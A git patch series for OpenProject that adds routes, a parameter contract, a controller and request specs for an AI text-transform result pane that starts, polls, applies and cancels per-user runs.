From 603fe5da0ed19fc2218da256d609e93e08760979 Mon Sep 17 00:00:00 2001 From: Jonas Jabari Date: Mon, 19 Oct 2026 15:07:55 +0200 Subject: [PATCH 1/9] [AI-175] Add result pane routes and parameter contract Routes under /ai/text_transform_panes for starting, polling, closing, applying and cancelling a result pane run. The contract validates the request id (UUID v4), scope and context ids every pane request carries. Co-Authored-By: Claude Opus 5.5 (1M context) --- .../text_transforms/pane_params_contract.rb | 45 +++++++++++++++++++ config/locales/en.yml | 2 + config/routes.rb | 9 ++++ 3 files changed, 56 insertions(+) create mode 100644 app/contracts/ai/text_transforms/pane_params_contract.rb diff --git a/app/contracts/ai/text_transforms/pane_params_contract.rb b/app/contracts/ai/text_transforms/pane_params_contract.rb new file mode 100644 index 000000000000..ec071cb098ab --- /dev/null +++ b/app/contracts/ai/text_transforms/pane_params_contract.rb @@ -0,0 +1,45 @@ +# frozen_string_literal: true + +#-- copyright +# OpenProject is an open source project management software. +# Copyright (C) the OpenProject GmbH +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License version 3. +# +# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows: +# Copyright (C) 2006-2013 Jean-Philippe Lang +# Copyright (C) 2010-2013 the ChiliProject Team +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either version 2 +# of the License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# See COPYRIGHT and LICENSE files for more details. +#++ + +module AI + module TextTransforms + class PaneParamsContract < DryApplicationContract + SCOPES = %w[document selection].freeze + + params do + required(:request_id).filled(:string, :uuid_v4?) + required(:scope).filled(:string, included_in?: SCOPES) + optional(:work_package_id).filled(:integer, gt?: 0) + optional(:project_id).filled(:integer, gt?: 0) + optional(:type_id).filled(:integer, gt?: 0) + optional(:after).filled(:integer, gteq?: 0) + end + end + end +end diff --git a/config/locales/en.yml b/config/locales/en.yml index 31ae8ebcb4d7..8179164f52b1 100644 --- a/config/locales/en.yml +++ b/config/locales/en.yml @@ -5769,6 +5769,7 @@ en: filled?: "must be filled." format?: "is in invalid format." greater_or_equal_zero: "must be greater or equal to 0." + gt?: "must be greater than %{num}." gteq?: "must be greater than or equal to %{num}." hash?: "must be a hash." included_in?: @@ -5796,6 +5797,7 @@ en: type?: "must be %{type}." unexpected_key: "is not allowed." uri?: "is not a valid URI." + uuid_v4?: "must be a UUID (version 4)." or: "or" rules: blueprint: "Pattern blueprint" diff --git a/config/routes.rb b/config/routes.rb index fbdc00bfec04..c4568ab38903 100644 --- a/config/routes.rb +++ b/config/routes.rb @@ -485,6 +485,15 @@ end end + namespace :ai do + resources :text_transform_panes, only: %i[create show destroy], param: :uuid do + member do + post :apply + post :cancel + end + end + end + namespace :projects do resource :menu, only: %i[show] resource :filters, only: %i[show] From d25ea3ab146d8490091f8024d32f165a34f27d8f Mon Sep 17 00:00:00 2001 From: Jonas Jabari Date: Mon, 19 Oct 2026 15:07:55 +0200 Subject: [PATCH 2/9] [AI-175] Start runs and append the result pane The create action resolves the context, starts a run (or repeats one of the user's own runs) and appends the pane to the body. Unavailable actions render the pane as failed; invalid parameters answer 400. Co-Authored-By: Claude Opus 5.5 (1M context) --- .../ai/text_transform_panes_controller.rb | 107 ++++++++++++ spec/requests/ai/text_transform_panes_spec.rb | 152 ++++++++++++++++++ 2 files changed, 259 insertions(+) create mode 100644 app/controllers/ai/text_transform_panes_controller.rb create mode 100644 spec/requests/ai/text_transform_panes_spec.rb diff --git a/app/controllers/ai/text_transform_panes_controller.rb b/app/controllers/ai/text_transform_panes_controller.rb new file mode 100644 index 000000000000..3e6b6b150e0f --- /dev/null +++ b/app/controllers/ai/text_transform_panes_controller.rb @@ -0,0 +1,107 @@ +# frozen_string_literal: true + +#-- copyright +# OpenProject is an open source project management software. +# Copyright (C) the OpenProject GmbH +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License version 3. +# +# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows: +# Copyright (C) 2006-2013 Jean-Philippe Lang +# Copyright (C) 2010-2013 the ChiliProject Team +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either version 2 +# of the License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# See COPYRIGHT and LICENSE files for more details. +#++ + +module AI + class TextTransformPanesController < ApplicationController + include OpTurbo::ComponentStream + include AI::TextTransformActionsFeature + + PANE_PARAMS = %i[request_id scope work_package_id project_id type_id after].freeze + CONTEXT_PARAMS = %i[work_package_id project_id type_id].freeze + + before_action :require_login + before_action :require_ai_text_transform_actions_feature + authorization_checked! :create + before_action :validate_pane_params + before_action :resolve_context + + def create + append_pane(start_run) + + respond_with_turbo_streams + end + + private + + attr_reader :pane_params, :context + + def own_runs + AI::TextTransformRun.where(user: current_user) + end + + def validate_pane_params + @pane_params = AI::TextTransforms::PaneParamsContract.new.call(params.permit(*PANE_PARAMS).to_h) + head :bad_request if pane_params.failure? + end + + def context_ids + pane_params.to_h.slice(*CONTEXT_PARAMS) + end + + def resolve_context + call = AI::TextTransforms::ResolveContext.new(user: current_user).call(**context_ids) + return @context = call.result if call.success? + + call.errors.any? { |error| error.type == :error_not_found } ? render_404 : render_403 + end + + def start_run + action, content = run_source + call = AI::TextTransforms::CreateRun.new(user: current_user, action:, context:, content:).call + call.success? ? pane_for(call.result) : rejected_pane(call.errors, action) + end + + def run_source + return [AI::TextTransformAction.find_by(id: params[:action_id]), params[:input].to_s] if params[:retry_of].blank? + + retried = own_runs.find_by!(uuid: params.expect(:retry_of)) + [retried.action, retried.input] + end + + def pane_for(run) + AI::TextTransforms::ResultPaneState.new(run:, scope: pane_params[:scope], request_id: pane_params[:request_id], + work_package: context.work_package, context_ids:) + end + + def rejected_pane(errors, action) + AI::TextTransforms::ResultPaneState.rejected(message: errors.full_messages.first, + label: action&.label.to_s, + scope: pane_params[:scope], + request_id: pane_params[:request_id], + context_ids:) + end + + def append_pane(pane) + turbo_streams << OpTurbo::StreamComponent + .new(action: :append, target: nil, targets: "body", + template: AI::TextTransforms::ResultPaneComponent.new(pane:).render_in(view_context)) + .render_in(view_context) + end + end +end diff --git a/spec/requests/ai/text_transform_panes_spec.rb b/spec/requests/ai/text_transform_panes_spec.rb new file mode 100644 index 000000000000..3c0e3d0a382f --- /dev/null +++ b/spec/requests/ai/text_transform_panes_spec.rb @@ -0,0 +1,152 @@ +# frozen_string_literal: true + +#-- copyright +# OpenProject is an open source project management software. +# Copyright (C) the OpenProject GmbH +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License version 3. +# +# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows: +# Copyright (C) 2006-2013 Jean-Philippe Lang +# Copyright (C) 2010-2013 the ChiliProject Team +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either version 2 +# of the License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# See COPYRIGHT and LICENSE files for more details. +#++ + +require "spec_helper" + +RSpec.describe "AI text transform panes", :skip_csrf, type: :rails_request, + with_flag: { ai_text_transform_actions: true }, + with_settings: { ai_text_transform_actions_enabled: true } do + shared_let(:type) { create(:type) } + shared_let(:project) { create(:project, types: [type]) } + shared_let(:work_package) { create(:work_package, project:, type:) } + shared_let(:action) { create(:ai_text_transform_action, label: "Fix grammar") } + shared_let(:user) do + create(:user, member_with_permissions: { project => %i[view_work_packages edit_work_packages add_work_packages] }) + end + + let(:request_id) { SecureRandom.uuid } + let(:stream) { { "Accept" => "text/vnd.turbo-stream.html" } } + let(:pane_params) { { request_id:, scope: "selection", work_package_id: work_package.id } } + let(:start_params) { pane_params.merge(action_id: action.id, input: "Login page dont work.") } + + current_user { user } + + before do + allow(AI::TextTransforms::Gateway).to receive(:build).and_return(AI::TextTransforms::FakeGateway.new) + end + + def run_with_events(status, *events) + create(:ai_text_transform_run, status, user:, action:).tap do |run| + events.each.with_index(1) { |(kind, payload), seq| create(:ai_text_transform_run_event, run:, seq:, kind:, payload:) } + end + end + + describe "POST create" do + it "starts a run and appends the pane to the body" do + expect { post ai_text_transform_panes_path, params: start_params, headers: stream } + .to have_enqueued_job(AI::TextTransformJob) + + expect(AI::TextTransformRun.sole).to have_attributes(user:, input: "Login page dont work.", status: "queued") + expect(response).to have_http_status(:ok) + expect(response.body).to include('action="append"', 'targets="body"', 'id="ai-text-transforms-result-pane-component"', + "Fix grammar", "Generating…") + end + + it "starts a run for a new work package of a project and type" do + post ai_text_transform_panes_path, + params: start_params.except(:work_package_id).merge(project_id: project.id, type_id: type.id), + headers: stream + + expect(response).to have_http_status(:ok) + expect(AI::TextTransformRun.count).to eq(1) + end + + it "repeats a run of the user's with its action and input" do + failed = run_with_events(:failed, ["error", { "reason" => "upstream_error", "message" => "Failed." }]) + + post ai_text_transform_panes_path, params: pane_params.merge(retry_of: failed.uuid), headers: stream + + retried = AI::TextTransformRun.where.not(id: failed.id).sole + expect(retried).to have_attributes(action: failed.action, input: failed.input, status: "queued") + end + + it "does not repeat another user's run" do + other = create(:ai_text_transform_run, :failed) + + post ai_text_transform_panes_path, params: pane_params.merge(retry_of: other.uuid), headers: stream + + expect(response).to have_http_status(:not_found) + expect(AI::TextTransformRun.count).to eq(1) + end + + it "renders the pane as failed when the action is not available" do + inactive = create(:ai_text_transform_action, label: "Inactive", active: false) + + post ai_text_transform_panes_path, params: start_params.merge(action_id: inactive.id), headers: stream + + expect(response).to have_http_status(:ok) + expect(AI::TextTransformRun.count).to eq(0) + expect(response.body).to include('action="append"', "Inactive", "Generation failed") + end + + context "without the permission to edit the work package" do + current_user { create(:user, member_with_permissions: { project => %i[view_work_packages] }) } + + it "is forbidden" do + post ai_text_transform_panes_path, params: start_params, headers: stream + + expect(response).to have_http_status(:forbidden) + expect(AI::TextTransformRun.count).to eq(0) + end + end + + it "does not find an invisible work package" do + post ai_text_transform_panes_path, params: start_params.merge(work_package_id: create(:work_package).id), headers: stream + + expect(response).to have_http_status(:not_found) + end + + it "rejects a request id that is not a UUID" do + post ai_text_transform_panes_path, params: start_params.merge(request_id: "pane-1"), headers: stream + + expect(response).to have_http_status(:bad_request) + expect(AI::TextTransformRun.count).to eq(0) + end + + it "rejects a request without a request id" do + post ai_text_transform_panes_path, params: start_params.except(:request_id), headers: stream + + expect(response).to have_http_status(:bad_request) + end + + it "rejects an unknown scope" do + post ai_text_transform_panes_path, params: start_params.merge(scope: "page"), headers: stream + + expect(response).to have_http_status(:bad_request) + end + + context "with the feature flag inactive", with_flag: { ai_text_transform_actions: false } do + it "is not found" do + post ai_text_transform_panes_path, params: start_params, headers: stream + + expect(response).to have_http_status(:not_found) + end + end + end +end From 76cdd0c6499ef1704b3ed3e38bd6c78ce28515d3 Mon Sep 17 00:00:00 2001 From: Jonas Jabari Date: Mon, 19 Oct 2026 15:13:17 +0200 Subject: [PATCH 3/9] [AI-175] Poll, close, apply and cancel result pane runs show answers polls with updated body and footer sections (204 while nothing changed), destroy cancels the run and removes the pane, apply dispatches the completed text to the editor and cancel stops a run whose pane disappeared. All lookups are scoped to the user's own runs. Co-Authored-By: Claude Opus 5.5 (1M context) --- .../ai/text_transform_panes_controller.rb | 73 ++++++++- spec/requests/ai/text_transform_panes_spec.rb | 145 ++++++++++++++++++ 2 files changed, 211 insertions(+), 7 deletions(-) diff --git a/app/controllers/ai/text_transform_panes_controller.rb b/app/controllers/ai/text_transform_panes_controller.rb index 3e6b6b150e0f..6667f6f09fb7 100644 --- a/app/controllers/ai/text_transform_panes_controller.rb +++ b/app/controllers/ai/text_transform_panes_controller.rb @@ -32,14 +32,26 @@ class TextTransformPanesController < ApplicationController include OpTurbo::ComponentStream include AI::TextTransformActionsFeature + APPLY_EVENT = "op-dispatched:ai-text-transform:apply" + CLOSED_EVENT = "op-dispatched:ai-text-transform:closed" PANE_PARAMS = %i[request_id scope work_package_id project_id type_id after].freeze CONTEXT_PARAMS = %i[work_package_id project_id type_id].freeze before_action :require_login before_action :require_ai_text_transform_actions_feature - authorization_checked! :create - before_action :validate_pane_params - before_action :resolve_context + authorization_checked! :create, :show, :destroy, :apply, :cancel + before_action :validate_pane_params, except: :cancel + before_action :find_run, only: %i[show apply cancel] + before_action :resolve_context, only: %i[create show] + + def show + return head(:no_content) unless run.terminal? || new_events? + + pane = pane_for(run) + pane.state == "cancelled" ? close_pane : update_sections(pane) + + respond_with_turbo_streams + end def create append_pane(start_run) @@ -47,14 +59,50 @@ def create respond_with_turbo_streams end + def destroy + open_run = own_runs.find_by(uuid: params[:uuid]) + request_cancel(open_run) if open_run + close_pane + + respond_with_turbo_streams + end + + def apply + return head(:unprocessable_entity) unless run.succeeded? + + dispatch_event_via_turbo_stream(APPLY_EVENT, detail: { requestId: pane_params[:request_id], + scope: pane_params[:scope], + text: pane_for(run).text }) + + respond_with_turbo_streams + end + + def cancel + request_cancel(run) + + head :no_content + end + private - attr_reader :pane_params, :context + attr_reader :pane_params, :context, :run def own_runs AI::TextTransformRun.where(user: current_user) end + def find_run + @run = own_runs.find_by!(uuid: params.expect(:uuid)) + end + + def new_events? + run.events.maximum(:seq).to_i > pane_params[:after].to_i + end + + def request_cancel(cancellable) + cancellable.update!(cancel_requested: true) unless cancellable.terminal? + end + def validate_pane_params @pane_params = AI::TextTransforms::PaneParamsContract.new.call(params.permit(*PANE_PARAMS).to_h) head :bad_request if pane_params.failure? @@ -84,9 +132,9 @@ def run_source [retried.action, retried.input] end - def pane_for(run) - AI::TextTransforms::ResultPaneState.new(run:, scope: pane_params[:scope], request_id: pane_params[:request_id], - work_package: context.work_package, context_ids:) + def pane_for(pane_run) + AI::TextTransforms::ResultPaneState.new(run: pane_run, scope: pane_params[:scope], request_id: pane_params[:request_id], + work_package: context&.work_package, context_ids:) end def rejected_pane(errors, action) @@ -103,5 +151,16 @@ def append_pane(pane) template: AI::TextTransforms::ResultPaneComponent.new(pane:).render_in(view_context)) .render_in(view_context) end + + def update_sections(pane) + [AI::TextTransforms::ResultPaneComponent::Body, AI::TextTransforms::ResultPaneComponent::Footer].each do |section| + update_via_turbo_stream(component: section.new(pane:)) + end + end + + def close_pane + remove_via_turbo_stream(component: AI::TextTransforms::ResultPaneComponent.new(pane: nil)) + dispatch_event_via_turbo_stream(CLOSED_EVENT, detail: { requestId: pane_params[:request_id] }) + end end end diff --git a/spec/requests/ai/text_transform_panes_spec.rb b/spec/requests/ai/text_transform_panes_spec.rb index 3c0e3d0a382f..86f5a30476b1 100644 --- a/spec/requests/ai/text_transform_panes_spec.rb +++ b/spec/requests/ai/text_transform_panes_spec.rb @@ -149,4 +149,149 @@ def run_with_events(status, *events) end end end + + describe "GET show" do + it "answers without content while nothing new happened" do + run = run_with_events(:running, ["status", { "status" => "running" }]) + + get ai_text_transform_pane_path(run.uuid, **pane_params, after: 1), headers: stream + + expect(response).to have_http_status(:no_content) + end + + it "streams the text so far as formatted html" do + run = run_with_events(:running, ["status", { "status" => "running" }], ["text_delta", { "delta" => "**bold** text" }]) + + get ai_text_transform_pane_path(run.uuid, **pane_params, after: 1), headers: stream + + expect(response).to have_http_status(:ok) + expect(response.body).to include('action="update"', 'target="ai-text-transforms-result-pane-component-body"', + 'target="ai-text-transforms-result-pane-component-footer"', + "bold text", "Generating…") + end + + it "offers the raw text once completed" do + run = run_with_events(:succeeded, ["completed", { "text" => "**done**" }]) + + get ai_text_transform_pane_path(run.uuid, **pane_params, after: 0), headers: stream + + expect(response.body).to include("done", "", "Replace") + end + + it "shows the stopped state for a blocked response" do + run = run_with_events(:failed, ["error", { "reason" => "blocked", "message" => "Blocked." }]) + + get ai_text_transform_pane_path(run.uuid, **pane_params), headers: stream + + expect(response.body).to include("Generation stopped", "Try again") + end + + it "removes the pane of a cancelled run and reports the closed request" do + run = run_with_events(:cancelled) + + get ai_text_transform_pane_path(run.uuid, **pane_params), headers: stream + + expect(response.body).to include('action="remove"', "op-dispatched:ai-text-transform:closed", request_id) + end + + it "does not show another user's run" do + run = create(:ai_text_transform_run, :running) + + get ai_text_transform_pane_path(run.uuid, **pane_params), headers: stream + + expect(response).to have_http_status(:not_found) + end + + it "rejects a request without a scope" do + run = run_with_events(:running) + + get ai_text_transform_pane_path(run.uuid, **pane_params.except(:scope)), headers: stream + + expect(response).to have_http_status(:bad_request) + end + end + + describe "DELETE destroy" do + it "cancels a running run, removes the pane and reports the closed request" do + run = run_with_events(:running) + + delete ai_text_transform_pane_path(run.uuid), params: pane_params, headers: stream + + expect(run.reload.cancel_requested).to be(true) + expect(response.body).to include('action="remove"', 'target="ai-text-transforms-result-pane-component"', + "op-dispatched:ai-text-transform:closed", request_id) + end + + it "leaves a finished run as it is" do + run = run_with_events(:succeeded, ["completed", { "text" => "Done." }]) + + delete ai_text_transform_pane_path(run.uuid), params: pane_params, headers: stream + + expect(response).to have_http_status(:ok) + expect(run.reload.cancel_requested).to be(false) + end + + it "closes a pane without a run" do + delete ai_text_transform_pane_path("rejected"), params: pane_params, headers: stream + + expect(response).to have_http_status(:ok) + expect(response.body).to include('action="remove"', "op-dispatched:ai-text-transform:closed") + end + + it "does not cancel another user's run" do + run = create(:ai_text_transform_run, :running) + + delete ai_text_transform_pane_path(run.uuid), params: pane_params, headers: stream + + expect(run.reload.cancel_requested).to be(false) + end + end + + describe "POST apply" do + it "hands the completed text to the editor" do + run = run_with_events(:succeeded, ["completed", { "text" => "Fixed text." }]) + + post apply_ai_text_transform_pane_path(run.uuid), params: pane_params, headers: stream + + expect(response.body).to include('action="dispatchEvent"', "op-dispatched:ai-text-transform:apply") + detail = JSON.parse(Nokogiri::HTML5.fragment(response.body).at("turbo-stream")["detail"]) + expect(detail).to eq("requestId" => request_id, "scope" => "selection", "text" => "Fixed text.") + end + + it "refuses a run that has not succeeded" do + run = run_with_events(:running) + + post apply_ai_text_transform_pane_path(run.uuid), params: pane_params, headers: stream + + expect(response).to have_http_status(:unprocessable_entity) + end + + it "does not apply another user's run" do + run = create(:ai_text_transform_run, :succeeded) + + post apply_ai_text_transform_pane_path(run.uuid), params: pane_params, headers: stream + + expect(response).to have_http_status(:not_found) + end + end + + describe "POST cancel" do + it "requests cancellation of a running run" do + run = run_with_events(:running) + + post cancel_ai_text_transform_pane_path(run.uuid) + + expect(response).to have_http_status(:no_content) + expect(run.reload.cancel_requested).to be(true) + end + + it "does not touch another user's run" do + run = create(:ai_text_transform_run, :running) + + post cancel_ai_text_transform_pane_path(run.uuid) + + expect(response).to have_http_status(:not_found) + expect(run.reload.cancel_requested).to be(false) + end + end end From 7393bbcd0db3a72b5ce94e31cdacbb5f11628c0d Mon Sep 17 00:00:00 2001 From: Jonas Jabari Date: Mon, 19 Oct 2026 17:28:28 +0200 Subject: [PATCH 4/9] [AI-175] Tighten pane parameters and follow OpTurbo patterns Validate action_id, input and retry_of in the contract, reject a work package combined with a project and a project without a type (like the API v3 run endpoint), and accept blank context ids. Only failed runs can be retried. Polls resolve the context only when they render, the pane append renders lazily like the other turbo stream helpers, and new events are detected through TextTransformRun#events_after. Co-Authored-By: Claude Opus 5.5 (1M context) --- .../text_transforms/pane_params_contract.rb | 24 +++++++-- .../ai/text_transform_panes_controller.rb | 37 +++++++------- config/locales/en.yml | 4 ++ spec/requests/ai/text_transform_panes_spec.rb | 51 +++++++++++++++++++ 4 files changed, 95 insertions(+), 21 deletions(-) diff --git a/app/contracts/ai/text_transforms/pane_params_contract.rb b/app/contracts/ai/text_transforms/pane_params_contract.rb index ec071cb098ab..b037a828a4ad 100644 --- a/app/contracts/ai/text_transforms/pane_params_contract.rb +++ b/app/contracts/ai/text_transforms/pane_params_contract.rb @@ -31,14 +31,30 @@ module AI module TextTransforms class PaneParamsContract < DryApplicationContract SCOPES = %w[document selection].freeze + CONTEXT_KEYS = %i[work_package_id project_id type_id].freeze params do required(:request_id).filled(:string, :uuid_v4?) required(:scope).filled(:string, included_in?: SCOPES) - optional(:work_package_id).filled(:integer, gt?: 0) - optional(:project_id).filled(:integer, gt?: 0) - optional(:type_id).filled(:integer, gt?: 0) - optional(:after).filled(:integer, gteq?: 0) + optional(:work_package_id).maybe(:integer, gt?: 0) + optional(:project_id).maybe(:integer, gt?: 0) + optional(:type_id).maybe(:integer, gt?: 0) + optional(:after).maybe(:integer, gteq?: 0) + optional(:action_id).maybe(:integer, gt?: 0) + optional(:input).maybe(:string) + optional(:retry_of).maybe(:string, :uuid_v4?) + end + + rule(:project_id) do + key.failure(:with_work_package) if value && values[:work_package_id] + end + + rule(:type_id) do + key.failure(:without_project) if value.nil? != values[:project_id].nil? + end + + def self.keys + schema.key_map.map { |key| key.name.to_sym } end end end diff --git a/app/controllers/ai/text_transform_panes_controller.rb b/app/controllers/ai/text_transform_panes_controller.rb index 6667f6f09fb7..50411c26ab68 100644 --- a/app/controllers/ai/text_transform_panes_controller.rb +++ b/app/controllers/ai/text_transform_panes_controller.rb @@ -34,23 +34,19 @@ class TextTransformPanesController < ApplicationController APPLY_EVENT = "op-dispatched:ai-text-transform:apply" CLOSED_EVENT = "op-dispatched:ai-text-transform:closed" - PANE_PARAMS = %i[request_id scope work_package_id project_id type_id after].freeze - CONTEXT_PARAMS = %i[work_package_id project_id type_id].freeze before_action :require_login before_action :require_ai_text_transform_actions_feature authorization_checked! :create, :show, :destroy, :apply, :cancel before_action :validate_pane_params, except: :cancel before_action :find_run, only: %i[show apply cancel] - before_action :resolve_context, only: %i[create show] + before_action :resolve_context, only: :create def show return head(:no_content) unless run.terminal? || new_events? - pane = pane_for(run) - pane.state == "cancelled" ? close_pane : update_sections(pane) - - respond_with_turbo_streams + run.cancelled? ? close_pane : update_sections + respond_with_turbo_streams unless performed? end def create @@ -96,7 +92,7 @@ def find_run end def new_events? - run.events.maximum(:seq).to_i > pane_params[:after].to_i + run.events_after(pane_params[:after]).exists? end def request_cancel(cancellable) @@ -104,12 +100,12 @@ def request_cancel(cancellable) end def validate_pane_params - @pane_params = AI::TextTransforms::PaneParamsContract.new.call(params.permit(*PANE_PARAMS).to_h) + @pane_params = AI::TextTransforms::PaneParamsContract.new.call(params.permit(*AI::TextTransforms::PaneParamsContract.keys).to_h) head :bad_request if pane_params.failure? end def context_ids - pane_params.to_h.slice(*CONTEXT_PARAMS) + pane_params.to_h.slice(*AI::TextTransforms::PaneParamsContract::CONTEXT_KEYS).compact end def resolve_context @@ -126,9 +122,10 @@ def start_run end def run_source - return [AI::TextTransformAction.find_by(id: params[:action_id]), params[:input].to_s] if params[:retry_of].blank? + retry_of = pane_params[:retry_of] + return [AI::TextTransformAction.find_by(id: pane_params[:action_id]), pane_params[:input].to_s] unless retry_of - retried = own_runs.find_by!(uuid: params.expect(:retry_of)) + retried = own_runs.failed.find_by!(uuid: retry_of) [retried.action, retried.input] end @@ -146,13 +143,19 @@ def rejected_pane(errors, action) end def append_pane(pane) - turbo_streams << OpTurbo::StreamComponent - .new(action: :append, target: nil, targets: "body", - template: AI::TextTransforms::ResultPaneComponent.new(pane:).render_in(view_context)) - .render_in(view_context) + turbo_streams << lambda { + OpTurbo::StreamComponent + .new(action: :append, target: nil, targets: "body", + template: AI::TextTransforms::ResultPaneComponent.new(pane:).render_in(view_context)) + .render_in(view_context) + } end - def update_sections(pane) + def update_sections + resolve_context + return if performed? + + pane = pane_for(run) [AI::TextTransforms::ResultPaneComponent::Body, AI::TextTransforms::ResultPaneComponent::Footer].each do |section| update_via_turbo_stream(component: section.new(pane:)) end diff --git a/config/locales/en.yml b/config/locales/en.yml index 8179164f52b1..d2214ceb386f 100644 --- a/config/locales/en.yml +++ b/config/locales/en.yml @@ -5790,8 +5790,12 @@ en: not_unique: "must be unique within the same hierarchy level." parent: not_descendant: "must be a descendant of the hierarchy root." + project_id: + with_work_package: "must not be combined with a work package." short: not_unique: "must be unique within the same hierarchy level." + type_id: + without_project: "must be given together with a project." str?: "must be a string." time?: "must be a time." type?: "must be %{type}." diff --git a/spec/requests/ai/text_transform_panes_spec.rb b/spec/requests/ai/text_transform_panes_spec.rb index 86f5a30476b1..63de9d812ee7 100644 --- a/spec/requests/ai/text_transform_panes_spec.rb +++ b/spec/requests/ai/text_transform_panes_spec.rb @@ -86,6 +86,15 @@ def run_with_events(status, *events) expect(retried).to have_attributes(action: failed.action, input: failed.input, status: "queued") end + it "does not repeat a run that is still running" do + running = run_with_events(:running) + + post ai_text_transform_panes_path, params: pane_params.merge(retry_of: running.uuid), headers: stream + + expect(response).to have_http_status(:not_found) + expect(AI::TextTransformRun.count).to eq(1) + end + it "does not repeat another user's run" do other = create(:ai_text_transform_run, :failed) @@ -141,6 +150,35 @@ def run_with_events(status, *events) expect(response).to have_http_status(:bad_request) end + it "rejects an action id that is not a number" do + post ai_text_transform_panes_path, params: start_params.merge(action_id: "fix"), headers: stream + + expect(response).to have_http_status(:bad_request) + end + + it "rejects a work package together with a project" do + post ai_text_transform_panes_path, params: start_params.merge(project_id: project.id, type_id: type.id), headers: stream + + expect(response).to have_http_status(:bad_request) + end + + it "rejects a project without a type" do + post ai_text_transform_panes_path, + params: start_params.except(:work_package_id).merge(project_id: project.id), + headers: stream + + expect(response).to have_http_status(:bad_request) + end + + it "ignores blank context ids" do + post ai_text_transform_panes_path, + params: start_params.merge(work_package_id: "", project_id: project.id, type_id: type.id), + headers: stream + + expect(response).to have_http_status(:ok) + expect(AI::TextTransformRun.count).to eq(1) + end + context "with the feature flag inactive", with_flag: { ai_text_transform_actions: false } do it "is not found" do post ai_text_transform_panes_path, params: start_params, headers: stream @@ -153,10 +191,12 @@ def run_with_events(status, *events) describe "GET show" do it "answers without content while nothing new happened" do run = run_with_events(:running, ["status", { "status" => "running" }]) + allow(AI::TextTransforms::ResolveContext).to receive(:new).and_call_original get ai_text_transform_pane_path(run.uuid, **pane_params, after: 1), headers: stream expect(response).to have_http_status(:no_content) + expect(AI::TextTransforms::ResolveContext).not_to have_received(:new) end it "streams the text so far as formatted html" do @@ -194,6 +234,17 @@ def run_with_events(status, *events) expect(response.body).to include('action="remove"', "op-dispatched:ai-text-transform:closed", request_id) end + it "is forbidden once the permission to edit the work package is gone" do + run = run_with_events(:succeeded, ["completed", { "text" => "Done." }]) + viewable = create(:project, types: [type]) + create(:member, project: viewable, principal: user, roles: [create(:project_role, permissions: %i[view_work_packages])]) + other = create(:work_package, project: viewable, type:) + + get ai_text_transform_pane_path(run.uuid, **pane_params, work_package_id: other.id), headers: stream + + expect(response).to have_http_status(:forbidden) + end + it "does not show another user's run" do run = create(:ai_text_transform_run, :running) From a263aeacc22037696a9aa8061ab9977def3e40c9 Mon Sep 17 00:00:00 2001 From: Jonas Jabari Date: Mon, 19 Oct 2026 17:28:33 +0200 Subject: [PATCH 5/9] [AI-175] Format pane text with the project of a new work package Panes for a new work package have no work package to derive the project from, so project-relative links such as wiki links did not resolve. The pane state now carries the context's project. Co-Authored-By: Claude Opus 5.5 (1M context) --- .../ai/text_transforms/result_pane_component/body.rb | 2 +- .../ai/text_transforms/result_pane_state.rb | 5 +++-- app/controllers/ai/text_transform_panes_controller.rb | 2 +- .../result_pane_component/body_spec.rb | 11 +++++++++++ 4 files changed, 16 insertions(+), 4 deletions(-) diff --git a/app/components/ai/text_transforms/result_pane_component/body.rb b/app/components/ai/text_transforms/result_pane_component/body.rb index 4d4ba833352f..2304b3758ca1 100644 --- a/app/components/ai/text_transforms/result_pane_component/body.rb +++ b/app/components/ai/text_transforms/result_pane_component/body.rb @@ -56,7 +56,7 @@ def done? end def output - helpers.format_text(pane.text, object: pane.work_package) + helpers.format_text(pane.text, object: pane.work_package, project: pane.project) end end end diff --git a/app/components/ai/text_transforms/result_pane_state.rb b/app/components/ai/text_transforms/result_pane_state.rb index 7706018c5314..86fff337a932 100644 --- a/app/components/ai/text_transforms/result_pane_state.rb +++ b/app/components/ai/text_transforms/result_pane_state.rb @@ -30,17 +30,18 @@ module AI module TextTransforms class ResultPaneState - attr_reader :run, :scope, :request_id, :work_package, :context_ids, :rejection + attr_reader :run, :scope, :request_id, :work_package, :project, :context_ids, :rejection def self.rejected(message:, label:, scope:, request_id:, context_ids: {}) new(run: nil, scope:, request_id:, label:, context_ids:, rejection: message) end - def initialize(run:, scope:, request_id:, work_package: nil, context_ids: {}, label: nil, rejection: nil) + def initialize(run:, scope:, request_id:, work_package: nil, project: nil, context_ids: {}, label: nil, rejection: nil) @run = run @scope = scope @request_id = request_id @work_package = work_package + @project = project @context_ids = context_ids @label = label @rejection = rejection diff --git a/app/controllers/ai/text_transform_panes_controller.rb b/app/controllers/ai/text_transform_panes_controller.rb index 50411c26ab68..ac60ee0a6dbd 100644 --- a/app/controllers/ai/text_transform_panes_controller.rb +++ b/app/controllers/ai/text_transform_panes_controller.rb @@ -131,7 +131,7 @@ def run_source def pane_for(pane_run) AI::TextTransforms::ResultPaneState.new(run: pane_run, scope: pane_params[:scope], request_id: pane_params[:request_id], - work_package: context&.work_package, context_ids:) + work_package: context&.work_package, project: context&.project, context_ids:) end def rejected_pane(errors, action) 